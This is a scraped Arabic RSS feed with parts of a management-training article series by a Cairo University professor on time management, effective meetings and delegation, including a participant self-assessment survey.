     ويتمثل في المبادرة الدائمة لتطوير العمل ،فالمشرف الفعال مثلا عليه أن يسعى إلى تطوير القسم الذي يشرف عليه مثل : تطوير العملية التخطيطية داخل القسم أو تبسيط الأعمال الروتينية أو استحداث برنامج تدريبي لرفع كفاءة العاملين ،هذا هو ما يمكن أن يطلق عليه العمل الإبداعي أو الخلاق والذي يجب وأن يستحوذ على جزء ليس ببسيط من وقت المشرف .

الآن وبعد التعرف على هذه المجالات علينا أن نسأل أنفسنا :

     هل نستغرق يوميا ساعات العمل المقررة في مجالات الأعمال التي سبق الإشارة إليها ؟ أم أن هناك جزءا من هذا الوقت لا يوجه إلى هذه الأعمال ؟ الحقيقة أن هناك جزءا من هذه الساعات لا يوجه فعلا إلى هذه الأعمال وهذا هو ما يطلق عليه :

الوقت المهدر ( الضائع ) :

     ولا يقصد بالوقت المهدر في هذا المجال إهمال الفرد أو تهربه من العمل ولكن يقصد به سوء التنظيم والتخطيط داخل المنشأة وما يترتب عليه من :

  • المقاطعات .
  • الخطأ في الاتصال .
  • خطأ التوقع .
  • عدم تحديد أولويات .

المقاطعات :

     وتعتبر من أهم الأسباب المؤدية لإهدار الوقت كالمحادثات الهاتفية المستعجلة وعبارات المجاملة والاجتماعات العاجلة …الخ .

خطأ الاتصال :

     يعتبر الاتصال الجيد المحور الأساسي لجودة إنجاز الأعمال ،فالمشرف الذي يحاول الحصول على بعض المعلومات من أحد مرؤسيه ،أو من أحد زملائه ، عليه أن يتأكد فعلا من أن هذا المرؤس أو هذا الزميل هو فعلا الشخص الذي يمكن أن يمده بالمعلومات المطلوبة فالاتصال بأحد المرؤوسين الذين لا تتوفر لديه تلك المعلومات يعتبر إهدارا للوقت .

خطأ التوقع :

     هناك ما يسمى بأسلوب ( إدارة الأزمات ) ويعنى هذا الأسلوب القيام بمعالجة المشكلة فقط بعد حدوثها حيث يستغرق الوقت اللازم لحل المشكلة طبقا لهذا الأسلوب وقتاَ أكثر بكثير منه لو قمنا بتوقع هذه المشكلة ووضعت الإجراءات اللازمة لتلافيها قبل حدوثها .

عدم تحديد الأولويات :

     ويعد ذلك من أهم أسباب إهدار الوقت فالمشرف الذي يتوجه مثلا إلى قسم الاستخدام لبحث طلبات الاستخدام الجديدة ثم يتوقف أثناء طريقه ليدقق في جودة شحنة حديثه من المواد والتجهيزات ثم يستدعى إلى الهاتف قبل أن ينتهي من مراقبة الجودة ثم يترك الهاتف لحظة ليرد على سؤال أحد العمال وينادى على مهندس القسم ليعالج سؤال هذا العامل ولا ينهى أبدا أي شئ بدأه ،هذا المشرف لا يعتبر منظما لوقته .

     أذن على الفرد أن يعمل دائما على التقليل من حدة أسباب الوقت المهدر ليزيد بالتالي من الوقت المفيد بغرض تحقيق أهدافه .

     ولكن في محاولاتنا الدائمة للقضاء على الوقت المهدر فإننا نقوم في بعض الأحيان بتخريب علاقاتنا مع الآخرين .

     وفي هذا المجال فقد قام أحد المتخصصين بإجراء بحث على عدد (410) مشرفا للتعرف على أهم المجالات التي تؤدى إلى إهدار الوقت .وقد توصل هذا المسح إلى تحديد المجالات التالية :

  • القصور في نظم المعلومات .
  • التفويض الضعيف .
  • المقاطعات .

       

      * خطأ الاتصال .

      * زائرون غير متوقعين .

  • سوء التنظيم وما ينتج عنه من عدم وضوح العلاقات .
  • مواجهة الأعمال الطارئة غير المتوقعة .
  • وجود مراسلات  ومعاملات كثيرة للقراءة .
  • تأجيل إنهاء العمل .
  • الاجتماعات غير المجدية
  • عدم وضوح الأهداف .

 

تمرين

كيف يتم قضاء وقت العمل

نص التمرين :

عزيزي المشارك ..

  الآن وقد اقتربنا من نهاية البرنامج ، يرجى أن تحدد لنا : 

  • كيفية قضائك لوقت العمل من خلال تعبئة الجدول التالي :

     العمل                         نسبته إلى وقت العمل المتاح

   1- أعمال روتينية                               %

   2- متطلبات الوظيفة                            %     

  3- مهمات خاصة                                     %

  4- العمل الإبداعي الخلاق .                           %

  5- وقت مهدر ( ضائع )                              %

 

2- أن تحدد لنا ما هي أسباب الوقت المهدر وهل هو راجح إلى :

     – القصور في نظم المعلومات                      نعم           لا

     – التفويض غير السليم .                          نعم           لا

     – المقاطعات .                                     نعم           لا

     -سوء التنظيم وما ينتج عنه من عدم وضوح       نعم           لا

                         العلاقات .                                   

     – مواجهة الأعمال الطارئة غير المتوقعة           نعم           لا

     – وجود معاملات كثيرة للقراءة .                  نعم            لا

     – عدم وضوح الأهداف .                          نعم           لا

     – الاتماعات غير المجدية .                       نعم           لا

     – أخرى ( يرجى ذكرها ) .                       نعم           لا 

 

أهم الإقتراحات لإدارة فعالة للوقت :

  • خصص فترات طويلة متواصلة للأنشطة الرئيسية .
  • تحكم في المعوقات خلال الفترات الحرجة ، عن طريق عدم قبول أي زائر أو أي اتصال هاتفي
  • خصص وقتاً للتخطيط الإبداعي ، والتحضير ، والأنشطة العامة .
  • اجمع معاَ الأعمال المتشابهة لتوفر لك الابتداء والتوقف عن العمل مراراَ .
  • ضع كل المكالمات الهاتفية معاَ .دع سكرتيرتك تطلب لك الرقم التالي عندما تكون على وشك الانتهاء من المتحدث الحالي .
  • ضع المشروعات ذات الأهمية العالية في أوائل أيام الأسبوع .
  • حدد الوقت الخاص بك الذي تكون فيه في ذروتك – أي عندما تكون في أصفى ذهن – وخصص هذا الوقت لمتابعة الأولويات المهمة .
  • خصص وقتاَ للأزمات غير المتوقعة .
  • ضع أقل الأعمال أهمية في الوقت الذي تكون فيه في ذروة نشاطك حتى تنجز منها الكثير في وقت قصير .
  • أجل المشروعات القصيرة حتى تبدأ في المشروعات الأطول منها .
  • احترس من عملية التفويض العكسي . أي كم من الوقت يفرض عليك بواسطة مرءوسيك ؟
  • تحرك بسرعة بالنسبة للقرارات الممكن الرجوع عنها ، وتحرك ببطء بالنسبة لتلك التي لا يمكن الرجوع عنها .
  • دع مرءوسيك يعرفون أن هناك أوقاتاَ معينة لا تود فيها أن يقاطعك أحد ، وأوقاتاَ أخرى يمكنهم المجيء إليك فيها .
  • ألقي بعيداَ البريد غير المفيد . تحت عنوان البريد هناك اقتراحات أخرى : وجه البريد مباشرة إلى المرءوسين،قم بإلغاء الاشتراكات مع المؤسسات التي ترسل كثيراً من البريد،وحاول أن تشطب اسمك من قوائم البريد التجارية.

*   *   *

انتهت بحمد الله المقالة السابعة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-07/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السادسة https://cameknowledge.camecenter.com/articles/time_management-06/ https://cameknowledge.camecenter.com/articles/time_management-06/#respond Sat, 01 Apr 2023 13:40:15 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10316 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة السادسة إدارة الاجتماعات الفعالة ثانياً : إدارة الإجتماعات : 1-  ماهية الإجتماعات  الاجتماع هو : إلتقاء عدد معين من الأفراد في مكان ما لمناقشة موضوع معين بهدف الوصول إلى قرارات معينة . الإجتماع الفعال هو الذي يحقق الأهداف المرجوة من عقده في أقصر […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة السادسة

إدارة الاجتماعات الفعالة

ثانياً : إدارة الإجتماعات :

1-  ماهية الإجتماعات

 الاجتماع هو : إلتقاء عدد معين من الأفراد في مكان ما لمناقشة موضوع معين بهدف الوصول إلى قرارات معينة .

الإجتماع الفعال هو الذي يحقق الأهداف المرجوة من عقده في أقصر وقت كما يحقق رضاء غالبية المشاركين فيه .

ويعتبر الإجتماع واحدا من أهم الأنشطة التي تستنفد جانب كبير من وقت القائد أو المدير في أية منظمة .

ولقد توصل بعض الباحثين إلى أن المدير الأمريكي يقضى حوالي 70% من وقت العمل في إجتماعات. كما توصل إلى أنه يعقد في الولايات المتحدة الأمريكية ما بين 12و15 مليون إجتماع كل يوم عمل .

2- أنواع الإجتماعات .

2/1   إجتماعات إعلامية .

2/2   إجتماعات المناقشات

2/3   إجتماعات حل المشكلات

2/4   إجتماعات إتخاذ القرارات 

3- ما يجب على القائد عمله قبل الإجتماع

3/1 التخطيط الفعال للإجتماع .

3/2 التأكد من أن الإجتماع ضروري ، وليس مضياعا للوقت .

3/3 إختر أفضل الأوقات مناسبة .

3/4 إختر المشاركين بدقة .

3/5 أعد جدول الأعمال .

3/6 نظم مكان الإجتماع  .

4- مشكلات الإجتماعات :

 أسبابها ، أساليب منع وقوعها ، كيفية التعامل معها

  • قيام أحد المشاركين بطرح سؤال معين أو الإدلاء بتعليق ليس له علاقة بموضوع المناقشة .
  • حوار جانبى بين عضوين من أعضاء الإجتماع .
  • إنصراف إنتباه الأعضاء .
  • الجدل بين الأعضاء .
  • سيطرة واحد من الأعضاء أو اثنين على الإجتماع .
  • توتر الأعضاء واستعدادهم لمغادرة القاعة .
  • عزوف الأعضاء عن المشاركة .
  • خروج رئيس الإجتماع عن موضوع الإجتماع  .

5- أهم المهارات التي يجب توافرها في رئيس الإجتماع

1-  المهارات الإدارية :

   بمعنى :

  • أن يكون ملما بمبادئ الإدارة من : تخطيط ، وتنظيم ، وتوجيه ، ورقابة …

2- المهارات الإنسانية .

  بمعنى :

  • أن يكون قادرا على إيجاد المناخ التنظيمي المناسب .
  • أن يكون قادرا على الحزم وتقبل المسئولية ،مع وجود قدر من المرونة .
  • أن يكون قادرا على المبادرة واللياقة وحفز الأعضاء في الإجتماع على الإلتزام بجدول الأعمال

 

3- المهارات الفنية .

   بمعنى :

  • أن يكون على دراية بفنيات عمله ومعرفة تامة بموضوع الإجتماع .
  • أن يكون على دراية بإستخدام كافة الأساليب والإجراءات والطرق الكفيلة بتحقيق الأهداف المخططة .

4- المهارات الفكرية .

    بمعنى :

  • أن يكون قادرا على التعامل مع الأفكار المطروحة أثناء الإجتماع .
  • أن تكون لديه قدرة عالية على الفهم والحكمة .
  • أن يتصف بصفاء الذهن وحسن التصرف في مواجهة الأمور.

أهم القواعد الشكلية التي يجب على رئيس الإجتماع إتباعها لتدعيم ثقة الأعضاء فيه وإنجاز إجتماع فعال

1- البدء في جلسة الإجتماع في الموعد المحدد .

2- حفظ النظام في الجلسة في جميع الأحوال ،على سبيل المثال :

  • ألا يطرح أكثر من إقتراح للمناقشة في نفس الوقت
  • ألا يتكلم أكثر من عضو في نفس الوقت .
  • منع التداخل في المناقشات .
  • عدم السماح بالتحدث في موضوعات خارجة عن جدول أعمال الإجتماع .

3- قراءة الإقتراح بعد الموافقة على عرضه ، ثم فتح باب المناقشة ، ثم تلاوته مرة ثانية قبل إجراء التصويت .

4- التأكد من أن الموضوع الذي تم طرحه للمناقشة قد نال قدر كاف من الدراسة والتحليل قبل عرضه للتصويت وإتخاذ قرار بشأنه .

5- يستحسن الوقوف عند قراءة الإقتراح ،وعند إعلان التصويت عليه ،وذلك في حالة الإجتماعات الموسعة .

6- إعطاء الكلمة للعضو الذي يطلبها ،مع إعطاء أولوية للذين لم يتحدثوا من قبل .

7- إذا دعت الضرورة لترك الإجتماع لأي سبب من الأسباب فيجب تكليف النائب أو أي عضو آخر بأن يرأس الإجتماع .

8- إذا رأي الرئيس أن موضوعا ما تنقصه الدراسة ، أو أن بعض جوانبه يحتاج إلى مزيد من التوضيح ، فإن عليه أن يحيله إلى لجنة متفرعة عن الإجتماع .

9- التقييم المستمر لإستجابات الأعضاء مما يزيد من فعالية الجلسات القادمة .

 

7- ما يجب على القائد أو المدير أثناء الإجتماع

  • إدارة وقت الإجتماع بفعالية .
  • إبلاغ الأعضاء بوضوح الغرض من الإجتماع .
  • ممارسة فن القيادة .
  • التأكيد بإستمرار على موضوع الإجتماع .
  • التحكم في الوقت المتاح للحديث .
  • الحصول على المعلومات اللازمة والتي تتعلق بموضوع الإجتماع .
  • المقارنة بين وجهات النظر المطروحة من الأعضاء بموضوعية .
  • دمج الأفكار واختبرها كقرار .
  • مراقبة إنتباه الحضور أثناء جلسات الإجتماع .
  • كن مساعدا للسلوك المؤيد والمساند .
  • عالج الصراع والنزاع بحكمة وروية .

8- مراحل (خطوات) إنجاز الأعمال أثناء الإجتماع

المرحلة الأولى :

              عرض الرأى من أحد أعضاء الإجتماع .

  ويشترط لكى يكون الرأى فعالا ما يلى :-

  • أن يكون واضحا وبلغة مفهومه .
  • أن يفى بالغرض المطلوب .
  • أن يكون خاليا من أي غموض .
  • أن يكون في صورة إقتراح .

 

المرحلة الثانية :

              النظر في الرأى المقدم ومناقشته .

    ويجب مراعاة ما يلي عند مناقشة الأراء المطروحة في الإجتماع :-

  • أن يعرف كل عضو أن له حق الإشتراك في المناقشة .
  • أن يتعرف كل عضو على جوهر المشكلة المعروضة للمناقشة قبل إبداء رأيه فيها أو التصويت عليها .
  • أن تنال كل مشكلة أو قضية معروضة في الإجتماع قدرا كافيا من المناقشة الحرة .
  • أن الأراء هي موضوع المناقشة وليس الأشخاص .

 

المرحلة الثالثة :

           البت في الرأى أو الموضوع المقدم بعد مناقشته .

  وهنا تظهر خبرة وحنكة رئيس الإجتماع في التعامل مع الأعضاء المشاركين : فمنهم كثير الكلام المولع بالمناقشة ،ومنهم الصامت ، ومنهم غير ذلك .  

 

9- إدارة المناقشة أثناء الإجتماع

1-  مزايا المناقشة الفعالة

      إن الحقيقة الهامة التي يجب التأكيد عليها هنا أن المناقشة الفعالة ترفع من كفاءة أداء الإجتماع مما تحققه من مزايا للمتناقشين على سبيل المثال :

  • أن عضو الإجتماع يجد في المناقشة النصيحة النافعة .
  • أن المناقشة تنشط تفكير عضو الإجتماع .
  • أن الإشتراك في المناقشة تساعد العضو على تبديد قلقه من خلال طرح الآخرين لمشاكلهم .
  • أن المناقشة تساعد في الحصول على المعلومات .
  • أن المناقشة تزيد من ثقة المتناقشين بأنفسهم عندما يسألهم الآخرين النصيحة ويستمعون لآرائهم .

2-  الوسائل التي يمكن أن يستخدمها الرئيس لإيجاد مناقشة فعالة .

  • التخلص من الشكليات المعيقة للمناقشة .
  • تجنب الوعظ أو التدريس أو التهذيب .
  • عدم دفع الأعضاء إلى الإشتراك في المناقشة قبل أن يشعروا بالرغبة في ذلك
  • الفهم الصحيح لكل ما يقصده العضو المتحدث قبل تحليل رأيه ومناقشته فيه .

 

3-أنواع الشخصيات البشرية وأنسب طرق التعامل معها :

3/1 النوع المشاغب :

       – إحتفظ بهدوئك معه ،ولا تدخل معه في جدال .

       – لا تجعل أي فرد آخر تتعامل معه يشتبك معه في جدال ، بمرور الزمن يتحسن موقف هذا النوع، وبالتالي يمكن التعامل معه بفعالية أكثر .

3/2 النوع الإيجابي :

      – المناقشة معه مثمرة وبالتالي يجب أن تمكنه من إبداء رأيه .

      – إحرص بإستمرار على الإستعانة به وإستخدامه لتحقيق الفعالية المنشودة .

3/3 النوع الدعي :                

      – يزعم العلم بكل شيئ ويدعى المعرفة .

      – لا تسمح له بالسيطرة على المناقشة .

      – لا تتركه يرهب أعضاء أي مجموعة عمل توجد بها .

      – إذا طلب إبداء رأيه فإطلب منه المبررات فإن كانت خاطئة فدع المجموعة تتعامل معه .

3/4 النوع الثرثار :

      – هذا النوع كثير الكلام بفائدة وبدون فائدة .

      – قاطعه بلباقة ودون أن تحرجه .

  • حدد له الوقت المسموح له بالحديث فيه .

3/5 النوع الخجول :

      – لا تحاول إستثارته بإستمرار .

      – وجه له أسئلة سهلة عندما تسمح الفرصة لتشجعه على المشاركة .

      – حاول أن تجعله يثق في نفسه في إبداء رأيه أمام الآخرين .

3/6 النوع غير المتعاون :

      – هو شخص معترض على آراء الآخرين وغير راضى .

      – تعرف على خبراته ومعارفه وحاول الإستفادة منها .

      – إعمل دائما على كسب صداقته ,أشعره بأنك في حاجة إليه .

3/7 النوع البليد السلبي :

      – وجه له الأسئلة بشكل مباشر .

      – إطلب منه النصيحة كلما سمحت الفرصة بذلك .

      – حاول دائما أن تجعله يشعر بأنك تقدر آرائه حتى تجتذبه إلى صفوف المشاركين والمناقشين .

3/8 النوع المتعالي :

      – لا تنتقضه وكن صبورا في التعامل معه .

      – حاول أن تجذب إنتباهه بإستمرار .

      – استفد من ملاحظاته ووضحها للمجموعة .

3/9 النوع المتصيد بأسئلته :

      – وهو شخص يحاول أن يوجه أسئلة معينة للقائد لإحراجه .

      – لا ترد على أسئلته وحولها إلى أفراد المجموعة لإبداء الرأي والرد عليها .

 

4- ما يجب على رئيس الإجتماع بعد إنتهاء الإجتماع

4/1 تقييم الإجتماع في ضوء الأهداف المخططة وجدول الأعمال المعد مسبقاً .

4/2 القيام بإعداد ملخص للموضوعات التي تم مناقشتها في الإجتماع وتوزيعه على الأعضاء ، وهذا الإجراء يحقق شيئين :

  • يؤكد أن ما إتفق عليه مفهوم من جانب الأعضاء .
  • تعريف النتائج التي تم انجازها تعريفاً واضحاً .

4/3 كتابة محضر أو تقرير عن الإجتماع .

4/4 الحصول على إلتزام من ذوى الشأن بالعمل .

          يفترض رئيس الإجتماع في كثير من الأحيان أنه طالما أن أيا من الأعضاء لم يعترض على ما حصل في الإجتماع ، إذا توجد موافقة . إلا أنه توجد عدة إشارات تحذيرية تشير إلى نقص في اللالتزام من جانب الحضور مثل :

  • الصمت الكلى وعدم التجاوب من جانب الأعضاء .
  • التجاوب السلبي مثل الأقوال التالية :
  • ” سأحاول ” لكن ذلك لا يكفي .
  • ” أظن أن الأمر هو كذلك لكنه لا يتوقف على وحدي ” .
  • ” نعم ولكن ….”

4/5 البدأ فوراً في تنفيذ ما إتفق عليه .

4/6 المتابعة بعد الإجتماع .

  • ضرورة إشراك المشاركين في الإجتماع في تحديد كيفية المتابعة .
  • مراقبة ومتابعة تنفيذ المهام الضرورية لإنجاز النتيجة الإجمالية وتلك المهام التي تعتمد عليها مهام أخرى .
  • المتابعة في الوقت الملائم لمنع حدوث صعوبات .
  • في حالة وقوع إنحرافات يجب تحديد وتعريف أسباب ذلك الخروج وما يمكن فعله لإعادة الأمور إلى مسارها ولمنع حدوث شيء مماثل في الإجتماعات القادمة .

10- الوصايا العشر لإجتماعات فعالة

  • أعد مكانا مناسبا لعقد الإجتماع .
  • أدع أقل عدد ممكن من الأفراد لحضور الإجتماع .
  • أعلن عن الهدف من الإجتماع .
  • أعد جدول أعمال الإجتماع .
  • ركز المناقشة على الموضوع المقرر .
  • أشرك جميع الحاضرين في المناقشة .
  • وجه المناقشة في الإتجاه الصحيح ولا تضيع الوقت .
  • إنه الإجتماع بملخص عما تم لإنجازه خلاله .
  • قيم إجتماعاتك من حين لآخر بغرض تحسينها . 
  • أعد ووزع قائمة بالقرارات التي تم اتخاذها وخطط العمل التي تم اعدادها في الإجتماع .

 

استقصاء

إدارة الاجتمـاعــات الفعالة

 الهدف من الإستقصاء :

  • تأكيد عدد من المفاهيم والأسس والقواعد المرتبطة بإدارة فعالية للاجتماعات .
  • قياس مهارات المشاركين في إدارة الاجتماعات .

 

عزيزي المشارك ….

  برجاء وضع علامة (  √ ) أمام الإجابة التي تتفق مع رأيك الشخصي في العبارات التالية : 

م العبارات موافق جداً موافق لا أحدد لا أوافق لا أوافق مطلقاً
1 الإجتماع أفضل وسيلة لتوصيل المعلومات .          
2 تتوقف فعالية الإجتماع على مدى قدرة المدير على انجاز الهدف بالسرعة المطلوبة بغض النظر عن الجدية اللازمة لسير الإجتماع .          
3 يجب ألا يحاول المدير فرض رأيه على الحاضرين في إجتماع خاص بحل مشكلة ما .          
4 تركز اجتماعات العصف الذهني على جودة الأفكار وليس على كثرتها وتنوعها .          
5 من الضروري في نهاية الاجتماع عرض الأهداف وملخصاَ لما أنجز منها وما يجب اتخاذه من أعمال .          
6 يتعين على المدير عقد اجتماع إذا أراد أن يحدث تداخلا وتفاعلا بين وجهات نظر الأعضاء المختلفة حول موضوع معين .          
7 أن تكرار عقد الاجتماعات يكسب المدير مهارات جديدة من خلال التعرف على الأساليب المتنوعة في المناقشة وإدارة الجلسات .          
8 يجب طرح الأسئلة على المجتمعين عامة دون توجيه السؤال لشخص معين .          
9 يجب أن يحرص المدير على الهيمنة على آراء المجتمعين في اجتماعات حل المشكلات .          
10 يعد اختتام الاجتماع على نفس درجة أهمية الإعداد له .          
11 الاجتماع أسلوب ضروري لعلاج جميع مشكلات الشركة .          
12 تتجاوز تكلفة الاجتماعات غير الفعالة مجموع مرتبات المجتمعين خلال عدد ساعات الاجتماع .          
13 يتحتم على المدير بدء الاجتماع في الموعد المحدد له بغض النظر عن عدم حضور بعض الأعضاء .          
14 تركز اجتماعات العصف الذهني على مناقشة الفكرة المطروحة قبل الانتقال إلى فكرة أخرى .          
15 يجب إرسال نسخ بملخص الاجتماع ونتائجه لشاغلي المناصب الإدارية الذين لم يشتركوا .          
16 أن توافر مهارات متميزة لدى المدير في إدارة الاجتماعات تقلل من أهمية الإعداد المسبق له .           
17 أن كثرة تحرك المدير وتردده في النطق يمثل عانقا لوصول المعلومات للأعضاء .          
18 إذا لم يتلق المدير إجابة على سؤال قد طرحه يجب أن يعيد طرح السؤال بنفس الطريقة .          
19 يجب أن يمتنع المدير عن تقديم أي أفكار أو حلول في اجتماعات حل المشكلات .          
20 يجب على المدير في نهاية الاجتماع أن يشعر الأعضاء بأهمية الجهد الذي بذلوه .          
21 الاجتماع أفضل طريقة لتطوير وتدريب الأفراد .          
22 تمثل الاتجاهات السلبية التي تميز سلوك بعض المجتمعين أكثر الجوانب تكلفة في الاجتماعات .          
23 يجب أن تكون بداية الاجتماع مثيرة للانتباه وموضحة لأهدافه .          
24 يعد اجتماع حل المشكلات أصعب أنواع الاجتماعات من ناحية الترتيب لعقدها .

 

          
25 يستطيع المدير أن يجزم دائما بدرجة فعالة الاجتماع .

 

          
26 يستطيع المدير أن يتجنب عقد اجتماع لتوصيل معلومات معينة عن طريق إرسال نشرات بالمعلومات المراد توصيلها للعاملين .          
27 تزداد درجة فعالية المدير بزيادة درجة التزامه بالجدول المحدد سلفاَ للاجتماع          
28 عادة ما يؤدى خوف الأعضاء من الإحراج أو عدم التشجيع إلى عدم مشاركتهم في المناقشة .          
29 يتقيد المدير بالقرارات التي يتوصل إليها غالبية الأعضاء في إجتماعات حل المشكلات .          
30 يتعين أن يقوم المدير مدى فعالية الاجتماع ، بعد انتهائه ،بنظرة ذاتية .          
31 يعد الاجتماع فعالا إذا ما حقق أهداف المدير في أقصر وقت .          
32 ترجع غالبية أسباب عدم فعالية الاجتماع إلى القائد نفسه .          
33 يعد استمرار الاجتماع داخل الإطار المحدد له أحسن وسيلة للسيطرة عليه           
34 لابد أن توضح أهداف وأغراض الاجتماع الخاص بحل المشكلات في بدايته .          
35 يستطيع الأعضاء أن يجزموا دائما بدرجة فعالية الاجتماع .          
36 تسهم الاجتماعات في تعديل سلوك الأفراد إيجابيا .          
37 تزداد درجة فعالية المدير بزيادة تحرره من استعمال المذكرات المكتوبة          
38 يؤدى تحمس المدير إلى إنتشار روح الحماس بين الأعضاء .          
39 يهتم المدير أساسا في اجتماعات حل المشكلات بتحديد موعد بدء الاجتماع مع ترك موعد الانتهاء منه مفتوحاَ .          
40 يعد إرجاع الأثر المأخوذ من الأعضاء أحد الأساليب الهامة التي تسهم في تطوير نتائج الإجتماع .          
41 ينبغي على المدير وضع جدول زمنى محدد للاجتماع باعتبار ذلك أهم العناصر الضرورية لنجاحه .          
42 تزداد أهمية استخدام المعينات البصرية في العرض إذا كانت مهارات المدير في إدارة الاجتماعات محدودة .          
43 يجب أن يسيطر المدير على إنفعالاته طوال فترة الاجتماع .          
44 يمكن أن يشكل العصف الذهني جزء هاما في اجتماعات حل المشكلات .          
45 كلما زاد عدد الاجتماعات التي يعقدها الشخص ، كلما زادت درجة فاعليتها .          
46 تتوقف فعالية الاجتماع على تحقيق أهداف المدير في أقصر وقت ،مع تحقيق أعلى درجة رضاء لدى المجتمعين .          
47 تتطابق آراء الأعضاء والمدير حول النتائج المحققة من وراء عقد الاجتماع .          
48 أن التنوع في أسلوب المدير في العرض والمناقشة يحافظ على درجة حماس الأعضاء ويقظتهم .          
49 يركز اجتماع حل المشكلات على إيجاد الحلول للمشاكل مع عدم الاهتمام بمناقشة طرق تنفيذها .          
50   من المفضل أن يسأل المدير الأعضاء أسئلة عامة عند تقييمه للاجتماع .          

 

 *   *   *

انتهت بحمد الله المقالة السادسة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-06/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة https://cameknowledge.camecenter.com/articles/time_management-05/ https://cameknowledge.camecenter.com/articles/time_management-05/#respond Sat, 01 Apr 2023 13:33:43 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10314 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الخامسة وهناك بعض المبادئ التي تساعد في عملية التفويض وهي : –         حدد قائمة بالأنشطة التي يجب أن يتم تفويضها . –          أختر الأفراد الذين لديهم الاستعداد والرغبة والقدرة على تحمل المسئولية . –          اشرح الأسباب التي دعتك إلى التفويض . –          فوض […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الخامسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الخامسة

وهناك بعض المبادئ التي تساعد في عملية التفويض وهي :

–         حدد قائمة بالأنشطة التي يجب أن يتم تفويضها .

–          أختر الأفراد الذين لديهم الاستعداد والرغبة والقدرة على تحمل المسئولية .

–          اشرح الأسباب التي دعتك إلى التفويض .

–          فوض السلطة ولا تفوض المسئولية فهي لا تفوض .

–          دع الأفراد الذين فوضت لهم سلطات يحددوا أولوياتهم بأنفسهم

–          وحدد أنت لهم آخر وقت لأداء النشاط .

–          تابع مرؤوسيك .

–          حاول أن توفر لهم الوقت إذا طلبوا مساعدتك وتوضح لهم إذا حاولوا الاستفسار .

–          أطلب العمل الذي إنتهى .ولا تقبل منهم أعذارا ولكن أقبل منهم حلولا أو أقتراحات للمشكلات .

–          حاول دائما أن تكافئ مرؤسيك على العمل الجيد بأي طريقة من طرق التحفيز .

–          لا تنس أن الإنسان الذكي يتعلم دائما من أخطائه .

–          إن كنت ذاهبا إلى إجتماع فيجب أن تفوض بعض سلطاتك لنائبك فقد يحدث ما يتطلب إتخاذ قرار .  

 

رد فعل المرؤوسين تجاه تفويض السلطة :

     يرحب غالبية المرؤوسين بالتفويض ،الذي يمثل بالنسبة لهم عاملا يزيد من درجة رضائهم عن العمل ، إلا أن هذا الترحيب لا يكون من كل المرؤوسين ، فهناك فئة منهم لا يسعدون بالتفويض ، حيث يكون من الأفضل بالنسبة لهم أن يتلقوا الأوامر والتعليمات ولا يصدرون القرارات بأنفسهم ، فهناك المرؤوس الذي تنعدم أو تقل ثقته بنفسه ، وهناك من يخشى الفشل ، كما أن بعض المرؤوسين تنعدم لديهم الرغبة في الإنجاز ، ولا يميلون إلى الطموح والتقدم ، وكل هؤلاء لا يشعرون بالارتياح تجاه تفويضهم السلطة ، ومن ناحية أخرى قد يقاوم أو يعارض المرؤوس هذا التفويض ويرفضه ، إذا أدى إلى زيادة مسؤلياته وسلطاته ، وكان حجم العمل الذي يمارسه كبيرا ،أو ليس لديه المعلومات الكاملة أو المعرفة أو الوقت الكافي أو الإمكانيات اللازمة لإنجاز هذه المهام والمسئوليات الجديدة بكفاية وفعالية .   

من أجل تحقيق تفويض فعال :

     *أن تكون لديك الثقة في المرؤسين والقناعة بقدرتهم على إنجاز ما يوكل 

       إليهم من أعمال عن طريق التفويض .

     *ولا تحاول أن تؤكد أنك تستطيع تأدية العمل بطريقة أحسن من مرؤسيك

        مما يجعل هذا الشعور ذريعة لعدم التفويض .

     *توقع من مرؤسيك ارتكاب الأخطاء فكلنا يتعلم من أخطائه .

     * أن تكون لديك المعرفة التامة بأعضاء الفريق ومهاراتهم وقدراتهم على 

       القيام بالمهام التي تفوض إليهم .

    * عليك أن تقوم بتزويد المرؤس المفوض إليه بجميع المعلومات التي تتعلق    

        بالموضوع المحال إليه .

    * تأكد من فهم المرؤس للمهام والمسئوليات الجديدة .

